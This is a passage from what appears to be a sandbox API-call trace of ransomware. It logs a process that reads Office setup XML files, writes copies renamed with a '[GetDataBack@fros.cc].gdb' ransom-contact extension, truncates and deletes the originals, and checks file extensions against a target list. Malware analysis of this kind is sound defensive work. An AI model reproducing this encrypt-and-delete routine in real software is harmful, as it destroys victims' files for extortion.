(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0120.793] lstrlenW (lpString=".jpg") returned 4 [0120.793] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.794] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0120.794] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0120.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0120.795] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=6421) returned 1 [0120.795] CloseHandle (hObject=0x200) returned 1 [0120.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0120.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0120.795] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.795] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.796] GetLastError () returned 0x0 [0120.796] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x1915, lpOverlapped=0x0) returned 1 [0120.798] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x1920, lpOverlapped=0x0) returned 1 [0120.799] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0120.799] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xee, lpOverlapped=0x0) returned 1 [0120.799] SetEndOfFile (hFile=0x1c0) returned 1 [0120.799] CloseHandle (hObject=0x1c0) returned 1 [0120.800] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.800] SetEndOfFile (hFile=0x200) returned 1 [0120.801] CloseHandle (hObject=0x200) returned 1 [0120.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.801] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0120.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0120.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0120.802] lstrlenW (lpString=".doc") returned 4 [0120.802] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.802] lstrlenW (lpString=".docx") returned 5 [0120.802] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0120.802] lstrlenW (lpString=".pdf") returned 4 [0120.802] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.802] lstrlenW (lpString=".xls") returned 4 [0120.802] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.802] lstrlenW (lpString=".xlsx") returned 5 [0120.802] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0120.802] lstrlenW (lpString=".ppt") returned 4 [0120.802] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0120.802] lstrlenW (lpString=".zip") returned 4 [0120.802] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.802] lstrlenW (lpString=".rar") returned 4 [0120.802] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.802] lstrlenW (lpString=".bz2") returned 4 [0120.802] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.802] lstrlenW (lpString=".7z") returned 3 [0120.802] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0120.802] lstrlenW (lpString=".dbf") returned 4 [0120.802] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0120.803] lstrlenW (lpString=".1cd") returned 4 [0120.803] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0120.803] lstrlenW (lpString=".jpg") returned 4 [0120.803] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0120.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0120.803] lstrlenW (lpString=".doc") returned 4 [0120.803] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.803] lstrlenW (lpString=".docx") returned 5 [0120.803] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0120.803] lstrlenW (lpString=".pdf") returned 4 [0120.803] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.803] lstrlenW (lpString=".xls") returned 4 [0120.803] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.803] lstrlenW (lpString=".xlsx") returned 5 [0120.803] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0120.803] lstrlenW (lpString=".ppt") returned 4 [0120.803] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0120.803] lstrlenW (lpString=".zip") returned 4 [0120.803] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.803] lstrlenW (lpString=".rar") returned 4 [0120.803] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.803] lstrlenW (lpString=".bz2") returned 4 [0120.803] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.803] lstrlenW (lpString=".7z") returned 3 [0120.803] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0120.803] lstrlenW (lpString=".dbf") returned 4 [0120.803] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0120.803] lstrlenW (lpString=".1cd") returned 4 [0120.803] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0120.804] lstrlenW (lpString=".jpg") returned 4 [0120.804] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.804] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0120.804] lstrlenW (lpString="SETUP.XML") returned 9 [0120.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0120.805] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=16683) returned 1 [0120.805] CloseHandle (hObject=0x200) returned 1 [0120.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0120.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0120.805] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.805] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0120.807] GetLastError () returned 0x0 [0120.807] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x412b, lpOverlapped=0x0) returned 1 [0120.809] WriteFile (in: hFile=0x1f0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x4130, lpOverlapped=0x0) returned 1 [0120.810] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0120.810] WriteFile (in: hFile=0x1f0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0120.810] SetEndOfFile (hFile=0x1f0) returned 1 [0120.811] CloseHandle (hObject=0x1f0) returned 1 [0120.811] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.922] SetEndOfFile (hFile=0x200) returned 1 [0121.086] CloseHandle (hObject=0x200) returned 1 [0121.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.086] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0121.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0121.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0121.089] lstrlenW (lpString=".doc") returned 4 [0121.089] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.089] lstrlenW (lpString=".docx") returned 5 [0121.089] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.089] lstrlenW (lpString=".pdf") returned 4 [0121.089] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.089] lstrlenW (lpString=".xls") returned 4 [0121.089] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.089] lstrlenW (lpString=".xlsx") returned 5 [0121.089] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.089] lstrlenW (lpString=".ppt") returned 4 [0121.089] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0121.089] lstrlenW (lpString=".zip") returned 4 [0121.089] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.089] lstrlenW (lpString=".rar") returned 4 [0121.089] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.089] lstrlenW (lpString=".bz2") returned 4 [0121.089] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.089] lstrlenW (lpString=".7z") returned 3 [0121.089] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0121.089] lstrlenW (lpString=".dbf") returned 4 [0121.089] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0121.089] lstrlenW (lpString=".1cd") returned 4 [0121.089] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0121.089] lstrlenW (lpString=".jpg") returned 4 [0121.089] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0121.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0121.089] lstrlenW (lpString=".doc") returned 4 [0121.089] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.089] lstrlenW (lpString=".docx") returned 5 [0121.089] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.089] lstrlenW (lpString=".pdf") returned 4 [0121.089] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.089] lstrlenW (lpString=".xls") returned 4 [0121.089] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.089] lstrlenW (lpString=".xlsx") returned 5 [0121.089] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.090] lstrlenW (lpString=".ppt") returned 4 [0121.090] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0121.090] lstrlenW (lpString=".zip") returned 4 [0121.090] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.090] lstrlenW (lpString=".rar") returned 4 [0121.090] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.090] lstrlenW (lpString=".bz2") returned 4 [0121.090] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.090] lstrlenW (lpString=".7z") returned 3 [0121.090] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0121.090] lstrlenW (lpString=".dbf") returned 4 [0121.090] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0121.090] lstrlenW (lpString=".1cd") returned 4 [0121.090] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0121.090] lstrlenW (lpString=".jpg") returned 4 [0121.090] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.090] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.090] lstrlenW (lpString="Proof.XML") returned 9 [0121.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.090] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1347) returned 1 [0121.090] CloseHandle (hObject=0x200) returned 1 [0121.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0121.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.091] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.091] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0121.091] GetLastError () returned 0x0 [0121.091] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x543, lpOverlapped=0x0) returned 1 [0121.171] WriteFile (in: hFile=0x204, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x550, lpOverlapped=0x0) returned 1 [0121.172] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0121.172] WriteFile (in: hFile=0x204, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0121.172] SetEndOfFile (hFile=0x204) returned 1 [0121.172] CloseHandle (hObject=0x204) returned 1 [0121.173] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.173] SetEndOfFile (hFile=0x200) returned 1 [0121.174] CloseHandle (hObject=0x200) returned 1 [0121.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.360] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0121.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0121.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0121.360] lstrlenW (lpString=".doc") returned 4 [0121.360] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.360] lstrlenW (lpString=".docx") returned 5 [0121.360] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0121.360] lstrlenW (lpString=".pdf") returned 4 [0121.360] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.360] lstrlenW (lpString=".xls") returned 4 [0121.360] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.360] lstrlenW (lpString=".xlsx") returned 5 [0121.360] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0121.360] lstrlenW (lpString=".ppt") returned 4 [0121.361] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0121.361] lstrlenW (lpString=".zip") returned 4 [0121.361] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.361] lstrlenW (lpString=".rar") returned 4 [0121.361] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.361] lstrlenW (lpString=".bz2") returned 4 [0121.361] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.361] lstrlenW (lpString=".7z") returned 3 [0121.361] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0121.361] lstrlenW (lpString=".dbf") returned 4 [0121.361] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0121.361] lstrlenW (lpString=".1cd") returned 4 [0121.361] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0121.361] lstrlenW (lpString=".jpg") returned 4 [0121.361] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0121.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0121.361] lstrlenW (lpString=".doc") returned 4 [0121.361] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.361] lstrlenW (lpString=".docx") returned 5 [0121.361] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0121.361] lstrlenW (lpString=".pdf") returned 4 [0121.361] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.361] lstrlenW (lpString=".xls") returned 4 [0121.361] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.361] lstrlenW (lpString=".xlsx") returned 5 [0121.361] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0121.361] lstrlenW (lpString=".ppt") returned 4 [0121.361] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0121.361] lstrlenW (lpString=".zip") returned 4 [0121.362] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.362] lstrlenW 